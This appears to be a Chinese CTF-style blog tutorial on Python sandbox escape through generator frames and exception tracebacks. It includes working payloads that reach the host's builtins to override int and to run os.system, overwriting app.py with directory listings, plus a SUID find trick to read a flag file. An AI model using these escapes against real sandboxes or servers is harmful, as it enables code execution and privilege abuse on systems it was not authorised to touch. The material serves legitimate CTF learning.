py栈帧逃逸

文章发布时间:

最后更新时间:

参考文章
https://xz.aliyun.com/news/13075
https://forum.butian.net/share/4114
https://docs.python.org/zh-cn/3/reference/datamodel.html#traceback-objects

生成器逃逸

生成器

生成器(Generator) 是 py 中一个特殊的迭代器，用 yield 定义

yeild 用于产生一个值，保留当前运行状态的同时暂停函数执行，并在下一次调用生成器时，函数从上次暂停的位置继续执行，直到遇到下一个 yeild 字段或函数结束

1
2
3
4
5
6
7
8
9
def f():
    a=1
    while True:
        yield a
        a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
#这里生成器记住了上次的状态，所以会输出2

给 a 加范围可以用 for 语句一次性输出

1
2
3
4
5
6
7
8
def f():
    a=1
    for i in range(100):
        yield a
        a+=1
f=f()
for value in f:
    print(value)

可以使用简洁的语法直接定义，不需要定义函数

1
2
3
a=(i+1 for i in range(100))
for value in a:
    print(value)

gi_code

  • 说明：生成器关联的代码对象 (code object)。

gi_frame

  • 说明：生成器的帧对象 (frame object)，表示生成器当前的执行栈帧。它包含了局部变量、执行点等信息。

gi_running

  • 说明：一个布尔值，表示生成器当前是否正在执行。这是为了防止生成器在执行过程中被重入（re-entered）。

gi_yieldfrom (Python 3.3+)

  • 说明：如果生成器当前正在使用 yield from 委托给另一个子生成器或迭代器，这个属性会指向那个子迭代器。否则为 None。

gi_frame.f_locals

  • 说明: 一个字典，包含生成器当前帧的本地变量。

栈帧属性：

f_back:

  • 说明: 指向调用栈中当前帧的上一帧（即调用当前函数的那个函数的帧）。如果当前帧是调用栈的最底部（通常是模块级别或脚本的起始点），则 f_back 为 None。
  • 用途: 用于回溯调用栈，了解函数是如何被调用的。调试器常用此属性来展示调用堆栈。

f_code:

  • 说明: 当前帧关联的代码对象（code object）。代码对象包含了关于函数本身的静态信息，例如函数的字节码、常量、变量名等。

  • 用途: 通过 f_code 可以访问到：

    • f_code.co_name: 函数的名称。
    • f_code.co_filename: 函数定义所在的文件名。
    • f_code.co_varnames: 函数的局部变量名和参数名（元组）。
    • f_code.co_argcount: 普通参数的个数。
    • f_code.co_firstlineno: 函数在源文件中开始的行号。

f_locals:

  • 说明: 一个字典，包含了当前帧的局部变量（包括函数参数）。字典的键是变量名（字符串），值是变量的实际值。
  • 用途: 查看或修改（不推荐，但技术上可能）函数的局部变量。调试时非常有用。

f_globals:

  • 说明: 一个字典，包含了当前帧执行时可见的全局变量。这通常是函数定义所在的模块的命名空间。
  • 用途: 查看或修改（同样不推荐）全局变量。

f_builtins:

  • 说明: 一个字典，包含了当前帧可以访问的内建名称（built-in names），例如 len(), print() 等。
  • 用途: 了解当前执行环境下的内建函数和常量。

f_lineno:

  • 说明: 当前帧正在执行或即将执行的源代码行号。
  • 用途: 精确定位代码执行到的位置，对于调试和错误报告至关重要。

f_lasti:

  • 说明: 当前帧中最后执行的字节码指令的索引（相对于 f_code.co_code，即字节码字符串）。如果是 -1，表示还没有字节码指令被执行（例如，在函数刚开始时）。
  • 用途: 更底层的调试，了解字节码级别的执行情况。

生成器栈帧逃逸

原理：生成器的栈帧对象通过 f_back（返回前一帧）从而逃逸出去获取 globals 全局符号表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
s3cret="this is flag"

codes='''
def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器

    frame = next(g) #获取到生成器的栈帧对象  
    #frame = [x for x in g][0] #由于生成器也是迭代器，所以也可以获取到生成器的栈帧对象 

    b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

我们仔细看这些代码

locals 定义了一个字典作为局部作用域

complie(source, filename, mode) 是一个内置函数，用于将 Python 源代码编译成代码对象（code object）

source 是要编译的源代码

exec 表示在 locals 中执行 code，结果会返回到 locals

我们看到 code 中的内容，定义了一个 waff，定义一个 f，f 是一个生成器函数其中 yeild 了一个 g.gl_frame.f_back

gl_frame 指的是 f()的栈帧，.f_back 后指 waff() 的栈帧。

frame = next(g)获取了生成器的栈帧对象，之后执行 b = frame.f_back.f_back.f_globals['s3cret']，一次 back 之后指向执行函数的栈帧也就是 exec 的栈帧(filename 的环境)，再一次 back 之后来到全局的栈帧。f_globals 获取了全局变量字典，从中取出 s3cret，作用域是 locals，所以 locals 中会多出 "b":"this is flag"

例题：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import sys
import os
codes='''<<codehere>>'''
try:
    codes.encode("ascii")
except UnicodeEncodeError:
    exit(0)
if "__" in codes:
    print("__ bypass!!")
    exit(0)
codes+="\nres=factorization(c)"
print(codes)
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()
def blackFunc(oldexit):
    def func(event, args):
        blackList =["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
        for i in blackList:
            if i in (event + "".join(str(s) for s in args)).lower():
                print("noooooooooo")
                print(i)
                oldexit(0)
    return func
code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)
print(locals)
p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
    print("Correct!",end="")
else:
    print("Wrong!",end="")

读代码我们知道要我们写一个函数分解 c 这个超大的数字，且 pq 要同时大于 10000，同时有时间限制，很显然正常的方法几乎不可能符合要求，但这里有个很奇怪的地方，数字是用 int 转换字符串得到的，于是结合栈帧逃逸，我们想到覆盖掉原本的 int 方法，将结果可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def factorization(c_param):
    def fake_int(i_param):
        return 100001 * 100002

    a = (a.gi_frame.f_back.f_back for i in [1])

    current_function_frame = [x for x in a][0]

    host_globals = current_function_frame.f_back.f_back.f_globals

    builtins_str_name = "_" + "_" + "builtins" + "_" + "_"

    host_builtins = host_globals[builtins_str_name]

    host_builtins.int = fake_int

    return (100001, 100002)

异常栈帧逃逸

补充说明，什么是回溯对象：
回溯对象代表一个 异常 的栈跟踪信息。 当异常发生时会隐式地创建一个回溯对象，也可以通过调用 types.TracebackType 显式地创建。_3.7 版本后_回溯对象可以通过 Python 代码显式地实例化。对于隐式地创建的回溯对象，当查找异常处理器使得执行栈展开时，会在每个展开层级的当前回溯之前插入一个回溯对象。 当进入一个异常处理器时，程序将可以使用栈跟踪。它可作为 sys.exc_info() 所返回的元组的第三项 ，以及所捕获异常的 traceback 属性被获取。

1
2
3
4
5
6
7
8
def get_stack_frame_via_exception():
    try:
        raise Exception
    except Exception as e:
        tb = e.__traceback__  # 获取异常的回溯对象
        while tb.tb_next:  # 遍历到当前帧
            tb = tb.tb_next
        return tb.tb_frame  # 返回当前栈帧对象

说明：

代码直接给出异常，tb = e.__traceback__ 获取异常的回溯对象

traceback.tb_next
特殊的可写属性 tb_next 是栈跟踪中的下一层级（通往发生异常的帧），如果没有下一层级则为 None。
_3.7 版本后_该属性现在是可写的。

通过循环 tb.tb_next，知道下一层级是 none，此时返回的就是最下面的栈帧，也就逃逸出来了

例题:minil pybox

题目直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, Response
import multiprocessing
import sys
import io
import ast

app = Flask(__name__)

class SandboxVisitor(ast.NodeVisitor):
    forbidden_attrs = {
        "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
        "__globals__", "__code__", "__closure__", "__func__", "__self__",
        "__module__", "__import__", "__builtins__", "__base__"
    }
    def visit_Attribute(self, node):
        if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
            raise ValueError
        self.generic_visit(node)
    def visit_GeneratorExp(self, node):
        raise ValueError
def sandbox_executor(code, result_queue):
    safe_builtins = {
        "print": print,
        "filter": filter,
        "list": list,
        "len": len,
        "addaudithook": sys.addaudithook,
        "Exception": Exception
    }
    safe_globals = {"__builtins__": safe_builtins}

    sys.stdout = io.StringIO()
    sys.stderr = io.StringIO()

    try:
        exec(code, safe_globals)
        output = sys.stdout.getvalue()
        error = sys.stderr.getvalue()
        result_queue.put(("ok", output or error))
    except Exception as e:
        result_queue.put(("err", str(e)))

def safe_exec(code: str, timeout=1):
    code = code.encode().decode('unicode_escape')
    tree = ast.parse(code)
    SandboxVisitor().visit(tree)
    result_queue = multiprocessing.Queue()
    p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))
    p.start()
    p.join(timeout=timeout)

    if p.is_alive():
        p.terminate()
        return "Timeout: code took too long to run."

    try:
        status, output = result_queue.get_nowait()
        return output if status == "ok" else f"Error: {output}"
    except:
        return "Error: no output from sandbox."

CODE = """
def my_audit_checker(event,args):
    allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception
    if len(args) > 0:
        raise Exception

addaudithook(my_audit_checker)
print("{}")

"""
badchars = "\"'|&`+-*/()[]{}_."

@app.route('/')
def index():
    return open(__file__, 'r').read()

@app.route('/execute',methods=['POST'])
def execute():
    text = request.form['text']
    for char in badchars:
        if char in text:
            return Response("Error", status=400)
    output=safe_exec(CODE.format(text))
    if len(output)>5:
        return Response("Error", status=400)
    return Response(output, status=200)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

这边使用异常栈帧逃逸获取到 __builtins__

1
2
3
4
5
6
7
8
9
10
11
text=")
list=lambda x:True
len=lambda x:False

try:
    1/0
except Exception as e:
    frame = e.__traceback__.tb_frame.f_back
    builtins = frame.f_globals['__builtins__']
    builtins.exec("builtins.__import__('os').system('ls / -al>app.py')")   
print("

由于输出被限制，直接放到 app.py 或者自己写一个静态界面

可以看见其中有 flag 文件，但是直接读会有权限问题，无法回显，查看 entrypoint.sh 我们可以知道 find 被 chmod 4755，通过 find 可以对每一个找到的文件执行一个命令的机制，我们构造 find . -exec cat /m1* \; 到 app.py 可得到 flag

≡